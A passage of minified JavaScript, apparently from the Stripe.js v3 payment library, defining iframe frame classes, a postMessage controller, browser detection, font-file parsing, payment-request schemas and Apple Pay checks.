t={message:e,type:"outer",frameId:this.id,controllerId:this._controllerId};this._persistentMessages=[].concat(l(this._persistentMessages),[t]),this.loaded&&Xt(t)}},{key:"resolve",value:function(e,t){this._requests[e]&&this._requests[e].resolve(t)}},{key:"reject",value:function(e,t){this._requests[e]&&this._requests[e].reject(t)}},{key:"_send",value:function(e){this._ensureMounted(),this.loaded?Xt(e):this._queuedMessages=[].concat(l(this._queuedMessages),[e])}},{key:"appendTo",value:function(e){e.appendChild(this._iframe)}},{key:"unmount",value:function(){this.loaded=!1,this._emit("unload")}},{key:"destroy",value:function(){this.unmount();var e=this._iframe.parentElement;e&&e.removeChild(this._iframe),this._emit("destroy")}},{key:"_ensureMounted",value:function(){this._isMounted()||this.unmount()}},{key:"_isMounted",value:function(){return!!document.body&&document.body.contains(this._iframe)}},{key:"_createIFrame",value:function(e){var t=window.location.href.toString(),n=gt(t),r=n?n.origin:"",o=e.queryString&&"string"==typeof e.queryString?e.queryString:Yt(ln({},e,{origin:r,referrer:t,controllerId:this._controllerId})),i=document.createElement("iframe");return i.setAttribute("frameborder","0"),i.setAttribute("allowTransparency","true"),i.setAttribute("scrolling","no"),i.setAttribute("name",this.id),i.setAttribute("allowpaymentrequest","true"),i.src=At(this.type)+"#"+o,i}}]),t}(un),fn=dn,hn=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),_n=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;if(void 0!==a)return a.call(r)},mn={border:"none",margin:"0",padding:"0",width:"1px","min-width":"100%",overflow:"hidden",display:"block",visibility:"hidden",position:"fixed",height:"1px","pointer-events":"none","user-select":"none"},yn=function(e){function t(e,n,r){h(this,t);var o=_(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n,r));if(o.autoload=r.autoload||!1,"complete"===document.readyState)o._ensureMounted();else{var i=o._ensureMounted.bind(o);document.addEventListener("DOMContentLoaded",i),window.addEventListener("load",i),setTimeout(i,5e3)}return o}return m(t,e),hn(t,[{key:"_ensureMounted",value:function(){_n(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"_ensureMounted",this).call(this),this._isMounted()||this._autoMount()}},{key:"_autoMount",value:function(){if(document.body)this.appendTo(document.body);else if("complete"===document.readyState||"interactive"===document.readyState)throw new ke("Stripe.js requires that your page has a <body> element.");this.autoload&&(this.loaded=!0)}},{key:"_createIFrame",value:function(e){var n=_n(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"_createIFrame",this).call(this,e);return n.setAttribute("aria-hidden","true"),n.setAttribute("allowpaymentrequest","true"),n.setAttribute("tabIndex","-1"),$t(n,mn),n}}]),t}(fn),vn=yn,bn=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),gn=function(e){function t(){return y(this,t),v(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return b(t,e),bn(t,[{key:"_generateId",value:function(){return this._controllerId}}]),t}(vn),wn=gn,En=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),kn=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;if(void 0!==a)return a.call(r)},Sn={border:"none",margin:"0",padding:"0",width:"1px","min-width":"100%",overflow:"hidden",display:"block","user-select":"none"},On=function(e){function t(){return g(this,t),w(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return E(t,e),En(t,[{key:"update",value:function(e){this.send({action:"stripe-user-update",payload:e})}},{key:"updateStyle",value:function(e){var t=this;Object.keys(e).forEach(function(n){t._iframe.style[n]=e[n]})}},{key:"focus",value:function(){this.loaded&&this.send({action:"stripe-user-focus",payload:{}})}},{key:"blur",value:function(){this.loaded&&(this._iframe.contentWindow.blur(),this._iframe.blur())}},{key:"clear",value:function(){this.send({action:"stripe-user-clear",payload:{}})}},{key:"_createIFrame",value:function(e){var n=kn(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"_createIFrame",this).call(this,e);return n.setAttribute("title","Secure payment input frame"),$t(n,Sn),n}}]),t}(fn),Pn=On,An=function(e,t){var n=!1;return function(){if(n)throw new ke(t);n=!0;try{return e.apply(void 0,arguments).then(function(e){return n=!1,e},function(e){throw n=!1,e})}catch(e){throw n=!1,e}}},Tn=function(e){var t=e;return function(){t&&(t.apply(void 0,arguments),t=null)}},In=function(){return Qt(function(e){var t=e.style,n=t.position,r=t.top,o=t.left,i=t.bottom,a=t.right,s=t.overflow,c=window,u=c.pageXOffset,l=c.pageYOffset,p=document.documentElement?window.innerWidth-document.documentElement.offsetWidth:0,d=document.documentElement?window.innerHeight-document.documentElement.offsetHeight:0;return e.style.position="fixed",e.style.overflow="hidden",e.style.top=-l+"px",e.style.left=-u+"px",e.style.right=p+"px",e.style.bottom=d+"px",Tn(function(){e.style.position=n,e.style.top=r,e.style.left=o,e.style.bottom=i,e.style.right=a,e.style.overflow=s,window.scrollTo(u,l)})})},Cn=function(e,t){var n=Array.prototype.slice.call(document.querySelectorAll("a[href], area[href], input:not([disabled]),\n select:not([disabled]), textarea:not([disabled]), button:not([disabled]),\n object, embed, *[tabindex], *[contenteditable]")).filter(function(e){var t=e.getAttribute("tabindex"),n=!t||parseInt(t,10)>=0,r=e.getBoundingClientRect(),o=r.width>0&&r.height>0;return n&&o});return n[Ce(n,function(t){return t===e||e.contains(t)})+("previous"===t?-1:1)]},jn=function(e){var t=[],n=Re(document.querySelectorAll("*"),function(n){var r=n.getAttribute("tabindex")||"";e!==n&&(n.tabIndex=-1),t.push({element:n,tabIndex:r})});return Tn(function(){n.then(function(){return Re(t,function(e){var t=e.element,n=e.tabIndex;""===n?t.removeAttribute("tabindex"):t.setAttribute("tabindex",n)})})})},Rn=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Nn={display:"block",position:"fixed","z-index":"2147483647",background:"rgba(0,0,0,0)",transition:"background 300ms cubic-bezier(0.4, 0, 0.2, 1)","will-change":"background",top:"0",left:"0",right:"0",bottom:"0"},Mn=Rn({},Nn,{background:"rgba(0,0,0,0.5)"}),Ln=function e(t){var n=this,r=t.lockScrolling,o=t.lockFocus,i=t.lockFocusOn;k(this,e),this.domElement=document.createElement("div"),this._runOnHide=[],this.mount=function(){Qt(function(e){n.domElement.style.display="none",e.contains(n.domElement)||e.insertBefore(n.domElement,e.firstChild)})},this.show=function(){if($t(n.domElement,Nn),n._lockScrolling){var e=In();n._runOnHide.push(e)}if(n._lockFocus){var t=jn(n._lockFocusOn);n._runOnHide.push(t)}},this.fadeIn=function(){setTimeout(function(){$t(n.domElement,Mn)})},this.fadeOut=function(){return new Te(function(e){$t(n.domElement,Nn),setTimeout(e,500),n.domElement.addEventListener("transitionend",e)}).then(function(){for(;n._runOnHide.length;)n._runOnHide.pop()()})},this.unmount=function(){Qt(function(e){e.removeChild(n.domElement)})},this._lockScrolling=!!r,this._lockFocus=!!o,this._lockFocusOn=i||null},qn=Ln,Dn=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;if(void 0!==a)return a.call(r)},xn={position:"absolute",left:"0",top:"0",height:"100%",width:"100%"},Fn=function(e){function t(e,n,r){S(this,t);var o=O(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e,n,r));return o._autoMount=function(){o.appendTo(o._backdrop.domElement),o._backdrop.mount()},o.show=function(){o._backdrop.show(),$t(o._iframe,xn)},o.fadeInBackdrop=function(){o._backdrop.fadeIn()},o._backdropFadeoutPromise=null,o.fadeOutBackdrop=function(){return o._backdropFadeoutPromise||(o._backdropFadeoutPromise=o._backdrop.fadeOut()),o._backdropFadeoutPromise},o.destroy=function(){return o.fadeOutBackdrop().then(function(){o._backdrop.unmount(),Dn(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"destroy",o).call(o)})},o._backdrop=new qn({lockScrolling:!0,lockFocus:!0,lockFocusOn:o._iframe}),o._autoMount(),o}return P(t,e),t}(fn),Bn=Fn,Un=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Hn=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),zn=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;if(void 0!==a)return a.call(r)},Yn={display:"block",position:"absolute","z-index":"1000",width:"1px","min-width":"100%",margin:"2px 0 0 0",padding:"0",border:"none",overflow:"hidden"},Wn=function(e){function t(){return A(this,t),T(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return I(t,e),Hn(t,[{key:"updateStyle",value:function(e){var t=this;Object.keys(e).forEach(function(n){t._iframe.style[n]=e[n]})}},{key:"update",value:function(e){this.send({action:"stripe-user-update",payload:e})}},{key:"_createIFrame",value:function(e){var n=zn(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"_createIFrame",this).call(this,Un({},e,{isSecondaryFrame:!0}));return $t(n,Yn),n.style.height="0",n}}]),t}(fn),Gn=Wn,Kn=function(e){var t=gt(e),n=t?t.host:"";return"stripe.com"===n||!!n.match(/\.stripe\.(com|me)$/)},Vn=function(e,t){var n=gt(e),r=gt(t);return!(!n||!r)&&n.origin===r.origin},$n=function(e){return Vn(e,"https://js.stripe.com/v3/")},Jn=function(e){return $n(e)||Kn(e)},Qn=["button","checkbox","file","hidden","image","submit","radio","reset"],Zn=function(e){var t=e.tagName;if(e.isContentEditable||"TEXTAREA"===t)return!0;if("INPUT"!==t)return!1;var n=e.getAttribute("type");return-1===Qn.indexOf(n)},Xn=Zn,er=function(e){return/Edge\//i.test(e)},tr=function(e){return/(MSIE ([0-9]{1,}[.0-9]{0,})|Trident\/)/i.test(e)},nr=function(e){return/SamsungBrowser/.test(e)},rr=function(e){return/iPad|iPhone/i.test(e)&&!tr(e)},or=function(e){return/Android/i.test(e)&&!tr(e)},ir=window.navigator.userAgent,ar=er(ir),sr=(function(e){/Edge\/((1[0-6]\.)|0\.)/i.test(e)}(ir),tr(ir)),cr=function(e){return/MSIE 9/i.test(e)}(ir),ur=(function(e){/MSIE ([0-9]{1,}[.0-9]{0,})/i.test(e)}(ir),rr(ir)),lr=(function(e){rr(e)||or(e)}(ir),or(ir),function(e){/Android 4\./i.test(e)&&!/Chrome/i.test(e)&&or(e)}(ir),function(e){return/^((?!chrome|android).)*safari/i.test(e)&&!nr(e)}(ir)),pr=(function(e){/Firefox\//i.test(e)}(ir),function(e){/Firefox\/(50|51|[0-4]?\d)([^\d]|$)/i.test(e)}(ir),nr(ir)),dr=(function(e){/Chrome\/(6[6-9]|[7-9]\d+|[1-9]\d{2,})/i.test(e)}(ir),function(e){return/AppleWebKit/i.test(e)&&!/Chrome/i.test(e)&&!er(e)&&!tr(e)}(ir)),fr=function(e){return/Chrome/i.test(e)&&!er(e)}(ir),hr=(_e={},C(_e,It.card,{unique:!0,conflict:[It.cardNumber,It.cardExpiry,It.cardCvc,It.postalCode],beta:!1}),C(_e,It.cardNumber,{unique:!0,conflict:[It.card],beta:!1}),C(_e,It.cardExpiry,{unique:!0,conflict:[It.card],beta:!1}),C(_e,It.cardCvc,{unique:!0,conflict:[It.card],beta:!1}),C(_e,It.postalCode,{unique:!0,conflict:[It.card],beta:!1}),C(_e,It.paymentRequestButton,{unique:!0,conflict:[],beta:!1}),C(_e,It.iban,{unique:!0,conflict:[],beta:!1}),C(_e,It.idealBank,{unique:!0,conflict:[],beta:!1}),C(_e,It.auBankAccount,{unique:!0,beta:!0,conflict:[]}),_e),_r=hr,mr=(me={},j(me,It.card,St.CARD_ELEMENT),j(me,It.cardNumber,St.CARD_ELEMENT),j(me,It.cardExpiry,St.CARD_ELEMENT),j(me,It.cardCvc,St.CARD_ELEMENT),j(me,It.postalCode,St.CARD_ELEMENT),j(me,It.paymentRequestButton,St.PAYMENT_REQUEST_ELEMENT),j(me,It.iban,St.IBAN_ELEMENT),j(me,It.idealBank,St.IDEAL_BANK_ELEMENT),j(me,It.auBankAccount,St.AU_BANK_ACCOUNT_ELEMENT),me),yr=mr,vr=["brand"],br=["country","bankName"],gr=["bankName","branchName"],wr=(ye={},R(ye,It.card,vr),R(ye,It.cardNumber,vr),R(ye,It.iban,br),R(ye,It.auBankAccount,gr),ye),Er=(ve={},R(ve,It.idealBank,{secondary:It.idealBankSecondary}),R(ve,It.fpxBank,{secondary:It.fpxBankSecondary}),ve),kr=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Sr="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},Or=!1,Pr=function(e,t){return document.activeElement===e._iframe||e._iframe.parentElement&&document.activeElement===t},Ar=function(e){return"object"===(void 0===e?"undefined":Sr(e))&&null!==e&&"IntegrationError"===e.name?new ke("string"==typeof e.message?e.message:""):e},Tr=function e(t){M(this,e),Ir.call(this);var n=t.apiKey,r=t.stripeAccount,o=t.stripeJsId,i=t.locale;this._id=Bt("__privateStripeController"),this._stripeJsId=o,this._apiKey=n,this._stripeAccount=r,this._controllerFrame=new wn(St.CONTROLLER,this._id,kr({},t)),this._frames={},this._requests={},this._setupPostMessage(),this._handleMessage=rn(this._handleMessage,this),this.action.fetchLocale({locale:i||"auto"})},Ir=function(){var e=this;this._sendCAReq=function(t){var n=Bt(t.tag);return new Te(function(r,o){e._requests[n]={resolve:r,reject:o},e._controllerFrame.send({action:"stripe-safe-controller-action-request",payload:{nonce:n,caReq:t}})})},this.livemode=function(){var t=e._apiKey;return/^pk_test_/.test(t)?"testmode":/^pk_live_/.test(t)?"livemode":"unknown"},this.action={retrievePaymentIntent:function(t){return e._sendCAReq({tag:"RETRIEVE_PAYMENT_INTENT",value:t})},confirmPaymentIntent:function(t){return e._sendCAReq({tag:"CONFIRM_PAYMENT_INTENT",value:t})},confirmSetupIntent:function(t){return e._sendCAReq({tag:"CONFIRM_SETUP_INTENT",value:t})},retrieveSetupIntent:function(t){return e._sendCAReq({tag:"RETRIEVE_SETUP_INTENT",value:t})},fetchLocale:function(t){return e._sendCAReq({tag:"FETCH_LOCALE",value:t})},updateCSSFonts:function(t){return e._sendCAReq({tag:"UPDATE_CSS_FONTS",value:t})},createApplePaySession:function(t){return e._sendCAReq({tag:"CREATE_APPLE_PAY_SESSION",value:t})},retrieveSource:function(t){return e._sendCAReq({tag:"RETRIEVE_SOURCE",value:t})},tokenizeWithElement:function(t){return e._sendCAReq({tag:"TOKENIZE_WITH_ELEMENT",value:t})},tokenizeCvcUpdate:function(t){return e._sendCAReq({tag:"TOKENIZE_CVC_UPDATE",value:t})},tokenizeWithData:function(t){return e._sendCAReq({tag:"TOKENIZE_WITH_DATA",value:t})},createSourceWithElement:function(t){return e._sendCAReq({tag:"CREATE_SOURCE_WITH_ELEMENT",value:t})},createSourceWithData:function(t){return e._sendCAReq({tag:"CREATE_SOURCE_WITH_DATA",value:t})},createPaymentMethodWithElement:function(t){return e._sendCAReq({tag:"CREATE_PAYMENT_METHOD_WITH_ELEMENT",value:t})},createPaymentMethodWithData:function(t){return e._sendCAReq({tag:"CREATE_PAYMENT_METHOD_WITH_DATA",value:t})},createPaymentPage:function(t){return e._sendCAReq({tag:"CREATE_PAYMENT_PAGE",value:t})},createPaymentPageWithSession:function(t){return e._sendCAReq({tag:"CREATE_PAYMENT_PAGE_WITH_SESSION",value:t})},createRadarSession:function(t){return e._sendCAReq({tag:"CREATE_RADAR_SESSION",value:t})},authenticate3DS2:function(t){return e._sendCAReq({tag:"AUTHENTICATE_3DS2",value:t})}},this.createElementFrame=function(t,n){var r=n.groupId,o=N(n,["groupId"]),i=new Pn(t,e._id,kr({},o,{keyMode:xe(e._apiKey)}));return e._setupFrame(i,t,r)},this.createSecondaryElementFrame=function(t,n){var r=n.groupId,o=N(n,["groupId"]),i=new Gn(t,e._id,o);return e._setupFrame(i,t,r)},this.createHiddenFrame=function(t,n){var r=new vn(t,e._id,n);return e._setupFrame(r,t)},this.createLightboxFrame=function(t,n){var r=new Bn(t,e._id,n);return e._setupFrame(r,t)},this._setupFrame=function(t,n,r){return e._frames[t.id]=t,e._controllerFrame.sendPersistent({action:"stripe-user-createframe",payload:{newFrameId:t.id,frameType:n,groupId:r}}),t._on("unload",function(){e._controllerFrame.sendPersistent({action:"stripe-frame-unload",payload:{unloadedFrameId:t.id}})}),t._on("destroy",function(){delete e._frames[t.id],e._controllerFrame.sendPersistent({action:"stripe-frame-destroy",payload:{destroyedFrameId:t.id}})}),t._on("load",function(){e._controllerFrame.sendPersistent({action:"stripe-frame-load",payload:{loadedFrameId:t.id}}),e._controllerFrame.loaded&&t.send({action:"stripe-controller-load",payload:{}})}),t},this.report=function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};e._controllerFrame.send({action:"stripe-controller-report",payload:{event:t,data:n}})},this.warn=function(){for(var t=arguments.length,n=Array(t),r=0;r<t;r++)n[r]=arguments[r];e._controllerFrame.send({action:"stripe-controller-warn",payload:{args:n}})},this.controllerFor=function(){return"outer"},this._setupPostMessage=function(){window.addEventListener("message",function(t){var n=t.data,r=t.origin,o=en(n);o&&Vn(Lt,r)&&e._handleMessage(o)})},this._handleMessage=function(t){var n=t.controllerId,r=t.frameId,o=t.message,i=e._frames[r];if(n===e._id)switch(o.action){case"stripe-frame-event":var a=o.payload,s=a.event,c=a.data;if(i){if(ur){var u=i._iframe.parentElement,l=u&&u.querySelector(".__PrivateStripeElement-input");if("focus"===s&&!Or&&!Pr(i,l)){l&&l.focus(),Or=!0;break}if("blur"===s&&Or){Or=!1;break}"blur"===s&&setTimeout(function(){var e=document.activeElement;if(e&&!Pr(i,l)&&!Xn(e)){var t=u&&u.querySelector(".__PrivateStripeElement-safariInput");if(t){var n=t;n.disabled=!1,n.focus(),n.blur(),n.disabled=!0}e.focus()}},400)}i._emit(s,c)}break;case"stripe-frame-action-response":i&&i.resolve(o.payload.nonce,o.payload.faRes);break;case"stripe-frame-action-error":i&&i.reject(o.payload.nonce,Ar(o.payload.faErr));break;case"stripe-frame-error":throw new ke(o.payload.message);case"stripe-integration-error":i&&i._emit("__privateIntegrationError",{message:o.payload.message});break;case"stripe-controller-load":e._controllerFrame._emit("load"),Object.keys(e._frames).forEach(function(t){return e._frames[t].send({action:"stripe-controller-load",payload:{}})});break;case"stripe-safe-controller-action-response":e._requests[o.payload.nonce]&&e._requests[o.payload.nonce].resolve(o.payload.caRes);break;case"stripe-safe-controller-action-error":e._requests[o.payload.nonce]&&e._requests[o.payload.nonce].reject(Ar(o.payload.caErr))}}},Cr=Tr,jr=function(){var e=document.querySelectorAll("meta[name=viewport][content]"),t=e[e.length-1];return t&&t instanceof HTMLMetaElement?t.content:""},Rr=function(e){jr().match(/width=device-width/)||e('Elements requires "width=device-width" be set in your page\'s viewport meta tag.\n For more information: https://stripe.com/docs/stripe-js/elements/quickstart#viewport-meta-requirements')},Nr={checkout_beta_2:"checkout_beta_2",checkout_beta_3:"checkout_beta_3",checkout_beta_4:"checkout_beta_4",payment_intent_beta_1:"payment_intent_beta_1",payment_intent_beta_2:"payment_intent_beta_2",payment_intent_beta_3:"payment_intent_beta_3",card_payment_method_beta_1:"card_payment_method_beta_1",acknowledge_ie9_deprecation:"acknowledge_ie9_deprecation",cvc_update_beta_1:"cvc_update_beta_1",google_pay_beta_1:"google_pay_beta_1",checkout_pm_types:"checkout_pm_types",au_bank_account_beta_1:"au_bank_account_beta_1"},Mr=Object.keys(Nr),Lr=function(e,t){return e.indexOf(t)>=0},qr=function(e){function t(){L(this,t);var e=q(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return e.name="NetworkError",e.type="network_error",e}return D(t,e),t}(Error),Dr=qr,xr=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Fr={Accept:"application/json","Content-Type":"application/x-www-form-urlencoded"},Br=function(e){return Object.keys(Fr).forEach(function(t){e.setRequestHeader(t,Fr[t])}),e},Ur=function e(t){return new Te(function(n,r){var o=t.method,i=t.url,a=t.data,s=t.withCredentials,c=a?Yt(a):"",u=!window.XMLHttpRequest||wt(i)&&void 0===(new XMLHttpRequest).withCredentials,l="GET"===o&&c?i+"?"+c:i,p="GET"===o?"":c;if(u){var d=new window.XDomainRequest;try{d.open(o,l)}catch(e){r(e)}d.onerror=function(){n({responseText:JSON.stringify({error:{type:"api_error"}})})},d.onload=function(){n({status:200,responseText:d.responseText})},setTimeout(function(){d.send(p)},0)}else{var f=new XMLHttpRequest;s&&(f.withCredentials=s),f.open(o,l,!0),Br(f),f.onreadystatechange=function(){4===f.readyState&&(f.onreadystatechange=function(){},0===f.status?s?r(new Dr):e(xr({},t,{withCredentials:!0})).then(n,r):n(f))};try{f.send(p)}catch(e){r(e)}}})},Hr=Ur,zr=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Yr=function(e,t){var n=/@font-face[ ]?{[^}]*}/g,r=e.match(n);if(!r)throw new ke("No @font-face rules found in file from "+t);return r},Wr=function(e){var t=e.match(/@font-face[ ]?{([^}]*)}/);return t?t[1]:""},Gr=function(e,t){var n=e.replace(/\/\*.*\*\//g,"").trim(),r=n.length&&/;$/.test(n)?n:n+";",o=r.match(/((([^;(]*\([^()]*\)[^;)]*)|[^;]+)+)(?=;)/g);if(!o)throw new ke("Found @font-face rule containing no valid font-properties in file from "+t);return o},Kr=function(e,t){var n=e.indexOf(":");if(-1===n)throw new ke("Invalid css declaration in file from "+t+': "'+e+'"');var r=e.slice(0,n).trim(),o=Dt[r];if(!o)throw new ke("Unsupported css property in file from "+t+': "'+r+'"');return{property:o,value:e.slice(n+1).trim()}},Vr=function(e,t){var n=e.reduce(function(e,n){var r=Kr(n,t),o=r.property,i=r.value;return zr({},e,x({},o,i))},{});return["family","src"].forEach(function(e){if(!n[e])throw new ke("Missing css property in file from "+t+': "'+qt[e]+'"')}),n},$r=function(e){return Hr({url:e,method:"GET"}).then(function(e){return e.responseText}).then(function(t){return Yr(t,e).map(function(t){var n=Wr(t),r=Gr(n,e);return Vr(r,e)})})},Jr=$r,Qr=function(e,t){return e.reduce(function(e,n){return e.then(function(e){return"SATISFIED"===e.type?e:n().then(function(e){return t(e)?{type:"SATISFIED",value:e}:{type:"UNSATISFIED"}})})},Te.resolve({type:"UNSATISFIED"}))},Zr=Qr,Xr=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},eo={success:"success",fail:"fail",invalid_shipping_address:"invalid_shipping_address"},to={fail:"fail",invalid_payer_name:"invalid_payer_name",invalid_payer_email:"invalid_payer_email",invalid_payer_phone:"invalid_payer_phone",invalid_shipping_address:"invalid_shipping_address"},no={shipping:"shipping",delivery:"delivery",pickup:"pickup"},ro=Xr({success:"success"},to),oo={merchantCapabilities:["supports3DS"],displayItems:[]},io=_t({amount:ct,label:tt,pending:Ke(rt)}),ao=_t({amount:st,label:tt,pending:Ke(rt)}),so=_t({amount:st,label:tt,pending:Ke(rt),id:nt(tt,function(){return Bt("shippingOption")}),detail:nt(tt,function(){return""})}),co=Qe.apply(void 0,F(Object.keys(no))),uo=_t({origin:tt,name:tt}),lo=_t({displayItems:Ke(lt(ao)),shippingOptions:Ke(pt("id")(lt(so))),total:io,requestShipping:Ke(rt),requestPayerName:Ke(rt),requestPayerEmail:Ke(rt),requestPayerPhone:Ke(rt),shippingType:Ke(co),currency:et,country:Xe,jcbEnabled:Ke(rt),__billingDetailsEmailOverride:Ke(tt),__minApplePayVersion:Ke(ot),__merchantDetails:Ke(uo),__skipGooglePayInPaymentRequest:Ke(rt)}),po=ht({currency:Ke(et),displayItems:Ke(lt(ao)),shippingOptions:Ke(pt("id")(lt(so))),total:Ke(io)}),fo=function(e,t){var n=["invalid_payer_name","invalid_payer_email","invalid_payer_phone"];return Qe.apply(void 0,F(Object.keys(eo)))(-1!==n.indexOf(e)?"fail":e,t)},ho=_t({displayItems:Ke(lt(ao)),shippingOptions:Ke(pt("id")(lt(so))),total:Ke(io),status:fo}),_o=Qe.apply(void 0,F(Object.keys(ro))),mo=function(e){var t=Lr(e,Nr.google_pay_beta_1);return lr?t?["APPLE_PAY","GOOGLE_PAY"]:["APPLE_PAY"]:t?["GOOGLE_PAY","BROWSER"]:["BROWSER"]},yo=mo,vo=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},bo="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},go=function(e){return e&&"object"===(void 0===e?"undefined":bo(e))&&(e.constructor===Array||e.constructor===Object)},wo=function(e){return go(e)?Array.isArray(e)?e.slice(0,e.length):vo({},e):e},Eo=function e(t){return function(){for(var n=arguments.length,r=Array(n),o=0;o<n;o++)r[o]=arguments[o];if(Array.isArray(r[0])&&t)return wo(r[0]);var i=Array.isArray(r[0])?[]:{};return r.forEach(function(n){n&&Object.keys(n).forEach(function(r){var o=i[r],a=n[r],s=go(o)&&!(t&&Array.isArray(o));"object"===(void 0===a?"undefined":bo(a))&&s?i[r]=e(t)(o,wo(a)):void 0!==a?i[r]=go(a)?e(t)(a):wo(a):void 0!==o&&(i[r]=o)})}),i}},ko=(Eo(!1),Eo(!0)),So=function(){try{return window.location.origin===window.top.location.origin}catch(e){return!1}},Oo=2,Po=function(e){var t={};return function(n){if(void 0!==t[n])return t[n];var r=e(n);return t[n]=r,r}}(function(e){return window.ApplePaySession.canMakePaymentsWithActiveCard(e)}),Ao=function(e,t,n,r){var o=arguments.length>4&&void 0!==arguments[4]?arguments[4]:Oo,i=Math.max(Oo,o);if(window.ApplePaySession){if(So()){if(n&&"https:"!==window.location.protocol)return window.console&&window.console.warn("To test Apple Pay, you must serve this page over HTTPS."),Te.resolve(!1);if(window.ApplePaySession.supportsVersion(i)){var a=t?[e,t]:[e],s="merchant."+a.join(".")+".stripe";return Po(s).then(function(o){if(r("pr.apple_pay.can_make_payment_native_response",{available:o}),n&&!o&&window.console){var i=t?"or stripeAccount parameter ("+t+") ":"";window.console.warn("Either you do not have a card saved to your Wallet or the current domain ("+e+") "+i+"is not registered for Apple Pay. Visit https://dashboard.stripe.com/account/apple_pay to register this domain.")}return o})}return n&&window.console&&window.console.warn("This version of Safari does not support ApplePay JS version "+i+"."),Te.resolve(!1)}return Te.resolve(!1)}return Te.resolve(!1)},To=["mastercard","visa"],Io=["AT","AU","BE","CA","CH","DE","DK","EE","ES","FI","FR","GB","GR","HK","IE","IT","JP","LT","LU","LV","MX","NL","NO","NZ","PL","PT","SE","SG","US"],Co=function(e,t){var n="US"===e||t?["discover","diners","jcb"].concat(To):To;return-1!==Io.indexOf(e)?["amex"].concat(B(n)):n},jo=function(e,t){return Co(e,t).reduce(function(e,t){return"mastercard"===t?[].concat(B(e),["masterCard"]):"diners"===t?e:[].concat(B(e),[t])},[])},Ro={bif:1,clp:1,djf:1,gnf:1,jpy:1,kmf:1,krw:1,mga:1,pyg:1,rwf:1,vnd:1,vuv:1,xaf:1,xof:1,xpf:1},No=function(e){var t=Ro[e.toLowerCase()]||100;return{unitSize:1/t,fractionDigits:Math.log(t)/Math.log(10)}},Mo=function(e,t){var n=No(t);return(e*n.unitSize).toFixed(n.fractionDigits)},Lo=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},qo=function(e,t){return{amount:Mo(e.amount,t.currency),label:e.label,type:e.pending?"pending":"final"}},Do=function(e,t){return{amount:Mo(e.amount,t.currency),label:e.label,detail:e.detail,identifier:e.id}},xo=function(e){return function(t){return t[e]&&"string"==typeof 